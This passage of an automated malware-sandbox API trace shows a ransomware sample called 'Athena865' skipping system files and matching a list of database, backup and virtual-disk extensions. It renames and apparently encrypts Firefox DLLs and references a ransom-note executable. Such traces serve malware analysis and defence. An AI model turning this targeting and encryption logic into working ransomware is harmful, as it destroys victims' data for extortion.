lstrcmpiW (lpString1="bl3.dll", lpString2="sqlite3") returned -1 [0043.249] lstrlenW (lpString="sqlitedb") returned 8 [0043.249] lstrcmpiW (lpString1="ebl3.dll", lpString2="sqlitedb") returned -1 [0043.249] lstrlenW (lpString="xml") returned 3 [0043.249] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0043.249] lstrlenW (lpString="$er") returned 3 [0043.249] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0043.249] lstrlenW (lpString="4dd") returned 3 [0043.249] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0043.249] lstrlenW (lpString="4dl") returned 3 [0043.249] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0043.249] lstrlenW (lpString="^^^") returned 3 [0043.249] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0043.249] lstrlenW (lpString="abs") returned 3 [0043.249] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0043.249] lstrlenW (lpString="abx") returned 3 [0043.249] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0043.249] lstrlenW (lpString="accdb") returned 5 [0043.249] lstrcmpiW (lpString1="3.dll", lpString2="accdb") returned -1 [0043.250] lstrlenW (lpString="accdc") returned 5 [0043.250] lstrcmpiW (lpString1="3.dll", lpString2="accdc") returned -1 [0043.250] lstrlenW (lpString="accde") returned 5 [0043.250] lstrcmpiW (lpString1="3.dll", lpString2="accde") returned -1 [0043.250] lstrlenW (lpString="accdr") returned 5 [0043.250] lstrcmpiW (lpString1="3.dll", lpString2="accdr") returned -1 [0043.250] lstrlenW (lpString="accdt") returned 5 [0043.250] lstrcmpiW (lpString1="3.dll", lpString2="accdt") returned -1 [0043.250] lstrlenW (lpString="accdw") returned 5 [0043.250] lstrcmpiW (lpString1="3.dll", lpString2="accdw") returned -1 [0043.250] lstrlenW (lpString="accft") returned 5 [0043.250] lstrcmpiW (lpString1="3.dll", lpString2="accft") returned -1 [0043.250] lstrlenW (lpString="adb") returned 3 [0043.250] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0043.250] lstrlenW (lpString="adb") returned 3 [0043.250] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0043.250] lstrlenW (lpString="ade") returned 3 [0043.250] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0043.250] lstrlenW (lpString="adf") returned 3 [0043.250] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0043.250] lstrlenW (lpString="adn") returned 3 [0043.250] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0043.250] lstrlenW (lpString="adp") returned 3 [0043.250] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0043.250] lstrlenW (lpString="alf") returned 3 [0043.250] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0043.250] lstrlenW (lpString="ask") returned 3 [0043.250] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0043.250] lstrlenW (lpString="btr") returned 3 [0043.250] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0043.250] lstrlenW (lpString="cat") returned 3 [0043.250] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0043.250] lstrlenW (lpString="cdb") returned 3 [0043.250] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0043.250] lstrlenW (lpString="ckp") returned 3 [0043.250] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0043.251] lstrlenW (lpString="cma") returned 3 [0043.251] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0043.251] lstrlenW (lpString="cpd") returned 3 [0043.251] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0043.251] lstrlenW (lpString="dacpac") returned 6 [0043.251] lstrcmpiW (lpString1="l3.dll", lpString2="dacpac") returned 1 [0043.251] lstrlenW (lpString="dad") returned 3 [0043.251] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0043.251] lstrlenW (lpString="dadiagrams") returned 10 [0043.251] lstrcmpiW (lpString1="reebl3.dll", lpString2="dadiagrams") returned 1 [0043.251] lstrlenW (lpString="daschema") returned 8 [0043.251] lstrcmpiW (lpString1="ebl3.dll", lpString2="daschema") returned 1 [0043.251] lstrlenW (lpString="db-journal") returned 10 [0043.251] lstrcmpiW (lpString1="reebl3.dll", lpString2="db-journal") returned 1 [0043.251] lstrlenW (lpString="db-shm") returned 6 [0043.251] lstrcmpiW (lpString1="l3.dll", lpString2="db-shm") returned 1 [0043.251] lstrlenW (lpString="db-wal") returned 6 [0043.251] lstrcmpiW (lpString1="l3.dll", lpString2="db-wal") returned 1 [0043.251] lstrlenW (lpString="dbc") returned 3 [0043.251] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0043.251] lstrlenW (lpString="dbs") returned 3 [0043.251] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0043.251] lstrlenW (lpString="dbt") returned 3 [0043.251] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0043.251] lstrlenW (lpString="dbv") returned 3 [0043.251] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0043.251] lstrlenW (lpString="dbx") returned 3 [0043.251] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0043.251] lstrlenW (lpString="dcb") returned 3 [0043.251] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0043.251] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0043.252] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll.Athena865") returned 60 [0043.252] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\freebl3.dll"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\freebl3.dll.athena865"), dwFlags=0x1) returned 1 [0043.252] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\freebl3.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0043.252] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=302192) returned 1 [0043.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0043.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0043.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0043.253] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0043.253] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0043.254] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.254] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x49f70, lpName=0x0) returned 0x17c [0043.255] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x49f70) returned 0x1f0000 [0043.267] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0043.268] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0043.268] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0043.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0043.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0043.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0043.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0043.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0043.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0043.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0043.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0043.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0043.269] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0043.271] CloseHandle (hObject=0x17c) returned 1 [0043.271] CloseHandle (hObject=0x154) returned 1 [0043.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0043.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0043.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0043.277] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefda840, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefda840, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2ac07280, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x34ca70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gkmedias.dll", cAlternateFileName="")) returned 1 [0043.277] lstrcmpiW (lpString1="gkmedias.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0043.277] lstrcmpiW (lpString1="gkmedias.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0043.277] lstrcmpiW (lpString1="gkmedias.dll", lpString2=".") returned 1 [0043.277] lstrcmpiW (lpString1="gkmedias.dll", lpString2="..") returned 1 [0043.277] lstrcmpiW (lpString1="gkmedias.dll", lpString2="windows") returned -1 [0043.277] lstrcmpiW (lpString1="gkmedias.dll", lpString2="bootmgr") returned 1 [0043.277] lstrcmpiW (lpString1="gkmedias.dll", lpString2="temp") returned -1 [0043.277] lstrcmpiW (lpString1="gkmedias.dll", lpString2="pagefile.sys") returned -1 [0043.277] lstrcmpiW (lpString1="gkmedias.dll", lpString2="boot") returned 1 [0043.278] lstrcmpiW (lpString1="gkmedias.dll", lpString2="ids.txt") returned -1 [0043.278] lstrcmpiW (lpString1="gkmedias.dll", lpString2="ntuser.dat") returned -1 [0043.278] lstrcmpiW (lpString1="gkmedias.dll", lpString2="perflogs") returned -1 [0043.278] lstrcmpiW (lpString1="gkmedias.dll", lpString2="MSBuild") returned -1 [0043.278] lstrlenW (lpString="gkmedias.dll") returned 12 [0043.278] lstrcpyW (in: lpString1=0x241e896, lpString2="gkmedias.dll" | out: lpString1="gkmedias.dll") returned="gkmedias.dll" [0043.278] lstrlenW (lpString="gkmedias.dll") returned 12 [0043.278] lstrlenW (lpString="Athena865") returned 9 [0043.278] lstrcmpiW (lpString1="edias.dll", lpString2="Athena865") returned 1 [0043.278] lstrlenW (lpString=".dll") returned 4 [0043.278] lstrcmpiW (lpString1="gkmedias.dll", lpString2=".dll") returned 1 [0043.278] lstrlenW (lpString=".lnk") returned 4 [0043.278] lstrcmpiW (lpString1="gkmedias.dll", lpString2=".lnk") returned 1 [0043.278] lstrlenW (lpString=".ini") returned 4 [0043.278] lstrcmpiW (lpString1="gkmedias.dll", lpString2=".ini") returned 1 [0043.278] lstrlenW (lpString=".sys") returned 4 [0043.278] lstrcmpiW (lpString1="gkmedias.dll", lpString2=".sys") returned 1 [0043.278] lstrlenW (lpString="gkmedias.dll") returned 12 [0043.278] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll.Athena865") returned 61 [0043.278] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\gkmedias.dll"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\gkmedias.dll.athena865"), dwFlags=0x1) returned 1 [0043.279] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\gkmedias.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0043.279] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3459696) returned 1 [0043.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0043.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0043.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0043.280] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0043.281] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0043.281] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.281] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34cd70, lpName=0x0) returned 0x17c [0043.282] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x14cd70) returned 0x2d50000 [0043.456] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x2ea0000 [0043.522] UnmapViewOfFile (lpBaseAddress=0x2ea0000) returned 1 [0043.540] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0043.541] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0043.541] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0043.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0043.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0043.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0043.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0043.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0043.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0043.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0043.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0043.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0043.546] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0043.558] CloseHandle (hObject=0x17c) returned 1 [0043.558] CloseHandle (hObject=0x154) returned 1 [0043.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0043.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0043.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0043.633] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc54a820, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc54a820, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0043.633] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0043.633] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaeef6000, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb125e740, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x5aea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="install.log", cAlternateFileName="")) returned 1 [0043.633] lstrcmpiW (lpString1="install.log", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0043.633] lstrcmpiW (lpString1="install.log", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0043.633] lstrcmpiW (lpString1="install.log", lpString2=".") returned 1 [0043.634] lstrcmpiW (lpString1="install.log", lpString2="..") returned 1 [0043.634] lstrcmpiW (lpString1="install.log", lpString2="windows") returned -1 [0043.634] lstrcmpiW (lpString1="install.log", lpString2="bootmgr") returned 1 [0043.634] lstrcmpiW (lpString1="install.log", lpString2="temp") returned -1 [0043.634] lstrcmpiW (lpString1="install.log", lpString2="pagefile.sys") returned -1 [0043.634] lstrcmpiW (lpString1="install.log", lpString2="boot") returned 1 [0043.634] lstrcmpiW (lpString1="install.log", lpString2="ids.txt") returned 1 [0043.634] lstrcmpiW (lpString1="install.log", lpString2="ntuser.dat") returned -1 [0043.634] lstrcmpiW (lpString1="install.log", lpString2="perflogs") returned -1 [0043.634] lstrcmpiW (lpString1="install.log", lpString2="MSBuild") returned -1 [0043.634] lstrlenW (lpString="install.log") returned 11 [0043.634] lstrcpyW (in: lpString1=0x241e896, lpString2="install.log" | out: lpString1="install.log") returned="install.log" [0043.634] lstrlenW (lpString="install.log") returned 11 [0043.634] lstrlenW (lpString="Athena865") returned 9 [0043.634] lstrcmpiW (lpString1="stall.log", lpString2="Athena865") returned 1 [0043.634] lstrlenW (lpString=".dll") returned 4 [0043.634] lstrcmpiW (lpString1="install.log", lpString2=".dll") returned 1 [0043.634] lstrlenW (lpString=".lnk") returned 4 [0043.634] lstrcmpiW (lpString1="install.log", lpString2=".lnk") returned 1 [0043.634] lstrlenW (lpString=".ini") returned 4 [0043.634] lstrcmpiW (lpString1="install.log", lpString2=".ini") returned 1 [0043.634] lstrlenW (lpString=".sys") returned 4 [0043.634] lstrcmpiW (lpString1="install.log", lpString2=".sys") returned 1 [0043.634] lstrlenW (lpString="install.log") returned 11 [0043.634] lstrlenW (lpString="bak") returned 3 [0043.634] lstrcmpiW (lpString1="log", lpString2="bak") returned 1 [0043.634] lstrlenW (lpString="ba_") returned 3 [0043.634] lstrcmpiW (lpString1="log", lpString2="ba_") returned 1 [0043.634] lstrlenW (lpString="dbb") returned 3 [0043.634] lstrcmpiW (lpString1="log", lpString2="dbb") returned 1 [0043.634] lstrlenW (lpString="vmdk") returned 4 [0043.634] lstrcmpiW (lpString1=".log", lpString2="vmdk") returned -1 [0043.634] lstrlenW (lpString="rar") returned 3 [0043.634] lstrcmpiW (lpString1="log", lpString2="rar") returned -1 [0043.634] lstrlenW (lpString="zip") returned 3 [0043.634] lstrcmpiW (lpString1="log", lpString2="zip") returned -1 [0043.635] lstrlenW (lpString="tgz") returned 3 [0043.635] lstrcmpiW (lpString1="log", lpString2="tgz") returned -1 [0043.635] lstrlenW (lpString="vbox") returned 4 [0043.635] lstrcmpiW (lpString1=".log", lpString2="vbox") returned -1 [0043.635] lstrlenW (lpString="vdi") returned 3 [0043.635] lstrcmpiW (lpString1="log", lpString2="vdi") returned -1 [0043.635] lstrlenW (lpString="vhd") returned 3 [0043.635] lstrcmpiW (lpString1="log", lpString2="vhd") returned -1 [0043.635] lstrlenW (lpString="vhdx") returned 4 [0043.635] lstrcmpiW (lpString1=".log", lpString2="vhdx") returned -1 [0043.635] lstrlenW (lpString="avhd") returned 4 [0043.635] lstrcmpiW (lpString1=".log", lpString2="avhd") returned -1 [0043.635] lstrlenW (lpString="db") returned 2 [0043.635] lstrcmpiW (lpString1="og", lpString2="db") returned 1 [0043.635] lstrlenW (lpString="db2") returned 3 [0043.635] lstrcmpiW (lpString1="log", lpString2="db2") returned 1 [0043.635] lstrlenW (lpString="db3") returned 3 [0043.635] lstrcmpiW (lpString1="log", lpString2="db3") returned 1 [0043.635] lstrlenW (lpString="dbf") returned 3 [0043.635] lstrcmpiW (lpString1="log", lpString2="dbf") returned 1 [0043.642] lstrlenW (lpString="mdf") returned 3 [0043.642] lstrcmpiW (lpString1="log", lpString2="mdf") returned -1 [0043.642] lstrlenW (lpString="mdb") returned 3 [0043.642] lstrcmpiW (lpString1="log", lpString2="mdb") returned -1 [0043.642] lstrlenW (lpString="sql") returned 3 [0043.642] lstrcmpiW (lpString1="log", lpString2="sql") returned -1 [0043.642] lstrlenW (lpString="sqlite") returned 6 [0043.642] lstrcmpiW (lpString1="ll.log", lpString2="sqlite") returned -1 [0043.642] lstrlenW (lpString="sqlite3") returned 7 [0043.642] lstrcmpiW (lpString1="all.log", lpString2="sqlite3") returned -1 [0043.642] lstrlenW (lpString="sqlitedb") returned 8 [0043.642] lstrcmpiW (lpString1="tall.log", lpString2="sqlitedb") returned 1 [0043.642] lstrlenW (lpString="xml") returned 3 [0043.642] lstrcmpiW (lpString1="log", lpString2="xml") returned -1 [0043.642] lstrlenW (lpString="$er") returned 3 [0043.642] lstrcmpiW (lpString1="log", lpString2="$er") returned 1 [0043.642] lstrlenW (lpString="4dd") returned 3 [0043.642] lstrcmpiW (lpString1="log", lpString2="4dd") returned 1 [0043.642] lstrlenW (lpString="4dl") returned 3 [0043.642] lstrcmpiW (lpString1="log", lpString2="4dl") returned 1 [0043.642] lstrlenW (lpString="^^^") returned 3 [0043.642] lstrcmpiW (lpString1="log", lpString2="^^^") returned 1 [0043.642] lstrlenW (lpString="abs") returned 3 [0043.643] lstrcmpiW (lpString1="log", lpString2="abs") returned 1 [0043.643] lstrlenW (lpString="abx") returned 3 [0043.643] lstrcmpiW (lpString1="log", lpString2="abx") returned 1 [0043.643] lstrlenW (lpString="accdb") returned 5 [0043.643] lstrcmpiW (lpString1="l.log", lpString2="accdb") returned 1 [0043.643] lstrlenW (lpString="accdc") returned 5 [0043.643] lstrcmpiW (lpString1="l.log", lpString2="accdc") returned 1 [0043.643] lstrlenW (lpString="accde") returned 5 [0043.643] lstrcmpiW (lpString1="l.log", lpString2="accde") returned 1 [0043.643] lstrlenW (lpString="accdr") returned 5 [0043.643] lstrcmpiW (lpString1="l.log", lpString2="accdr") returned 1 [0043.643] lstrlenW (lpString="accdt") returned 5 [0043.643] lstrcmpiW (lpString1="l.log", lpString2="accdt") returned 1 [0043.643] lstrlenW (lpString="accdw") returned 5 [0043.643] lstrcmpiW (lpString1="l.log", lpString2="accdw") returned 1 [0043.643] lstrlenW (lpString="accft") returned 5 [0043.643] lstrcmpiW (lpString1="l.log", lpString2="accft") returned 1 [0043.643] lstrlenW (lpString="adb") returned 3 [0043.643] lstrcmpiW (lpString1="log", lpString2="adb") returned 1 [0043.643] lstrlenW (lpString="adb") returned 3 [0043.643] lstrcmpiW (lpString1="log", lpString2="adb") returned 1 [0043.643] lstrlenW (lpString="ade") returned 3 [0043.643] lstrcmpiW (lpString1="log", lpString2="ade") returned 1 [0043.643] lstrlenW (lpString="adf") returned 3 [0043.643] lstrcmpiW (lpString1="log", lpString2="adf") returned 1 [0043.643] lstrlenW (lpString="adn") returned 3 [0043.643] lstrcmpiW (lpString1="log", lpString2="adn") returned 1 [0043.643] lstrlenW (lpString="adp") returned 3 [0043.643] lstrcmpiW (lpString1="log", lpString2="adp") returned 1 [0043.643] lstrlenW (lpString="alf") returned 3 [0043.643] lstrcmpiW (lpString1="log", lpString2="alf") returned 1 [0043.643] lstrlenW (lpString="ask") returned 3 [0043.643] lstrcmpiW (lpString1="log", lpString2="ask") returned 1 [0043.643] lstrlenW (lpString="btr") returned 3 [0043.643] lstrcmpiW (lpString1="log", lpString2="btr") returned 1 [0043.643] lstrlenW (lpString="cat") returned 3 [0043.644] lstrcmpiW (lpString1="log", lpString2="cat") returned 1 [0043.644] lstrlenW (lpString="cdb") returned 3 [0043.644] lstrcmpiW (lpString1="log", lpString2="cdb") returned 1 [0043.644] lstrlenW (lpString="ckp") returned 3 [0043.644] lstrcmpiW (lpString1="log", lpString2="ckp") returned 1 [0043.644] lstrlenW (lpString="cma") returned 3 [0043.644] lstrcmpiW (lpString1="log", lpString2="cma") returned 1 [0043.644] lstrlenW (lpString="cpd") returned 3 [0043.644] lstrcmpiW (lpString1="log", lpString2="cpd") returned 1 [0043.644] lstrlenW (lpString="dacpac") returned 6 [0043.644] lstrcmpiW (lpString1="ll.log", lpString2="dacpac") returned 1 [0043.644] lstrlenW (lpString="dad") returned 3 [0043.644] lstrcmpiW (lpString1="log", lpString2="dad") returned 1 [0043.644] lstrlenW (lpString="dadiagrams") returned 10 [0043.644] lstrcmpiW (lpString1="nstall.log", lpString2="dadiagrams") returned 1 [0043.644] lstrlenW (lpString="daschema") returned 8 [0043.644] lstrcmpiW (lpString1="tall.log", lpString2="daschema") returned 1 [0043.644] lstrlenW (lpString="db-journal") returned 10 [0043.644] lstrcmpiW (lpString1="nstall.log", lpString2="db-journal") returned 1 [0043.644] lstrlenW (lpString="db-shm") returned 6 [0043.644] lstrcmpiW (lpString1="ll.log", lpString2="db-shm") returned 1 [0043.644] lstrlenW (lpString="db-wal") returned 6 [0043.644] lstrcmpiW (lpString1="ll.log", lpString2="db-wal") returned 1 [0043.644] lstrlenW (lpString="dbc") returned 3 [0043.644] lstrcmpiW (lpString1="log", lpString2="dbc") returned 1 [0043.644] lstrlenW (lpString="dbs") returned 3 [0043.644] lstrcmpiW (lpString1="log", lpString2="dbs") returned 1 [0043.644] lstrlenW (lpString="dbt") returned 3 [0043.644] lstrcmpiW (lpString1="log", lpString2="dbt") returned 1 [0043.644] lstrlenW (lpString="dbv") returned 3 [0043.644] lstrcmpiW (lpString1="log", lpString2="dbv") returned 1 [0043.644] lstrlenW (lpString="dbx") returned 3 [0043.644] lstrcmpiW (lpString1="log", lpString2="dbx") returned 1 [0043.644] lstrlenW (lpString="dcb") returned 3 [0043.644] lstrcmpiW (lpString1="log", lpString2="dcb") returned 1 [0043.644] lstrlenW (lpString="dct") returned 3 [0043.644] lstrcmpiW (lpString1="log", lpString2="dct") returned 1 [0043.644] lstrlenW (lpString="dcx") returned 3 [0043.645] lstrcmpiW (lpString1="log", lpString2="dcx") returned 1 [0043.645] lstrlenW (lpString="ddl") returned 3 [0043.645] lstrcmpiW (lpString1="log", lpString2="ddl") returned 1 [0043.645] lstrlenW (lpString="dlis") returned 4 [0043.645] lstrcmpiW (lpString1=".log", lpString2="dlis") returned -1 [0043.645] lstrlenW (lpString="dp1") returned 3 [0043.645] lstrcmpiW (lpString1="log", lpString2="dp1") returned 1 [0043.645] lstrlenW (lpString="dqy") returned 3 [0043.645] lstrcmpiW (lpString1="log", lpString2="dqy") returned 1 [0043.645] lstrlenW (lpString="dsk") returned 3 [0043.645] lstrcmpiW (lpString1="log", lpString2="dsk") returned 1 [0043.645] lstrlenW (lpString="dsn") returned 3 [0043.645] lstrcmpiW (lpString1="log", lpString2="dsn") returned 1 [0043.645] lstrlenW (lpString="dtsx") returned 4 [0043.645] lstrcmpiW (lpString1=".log", lpString2="dtsx") returned -1 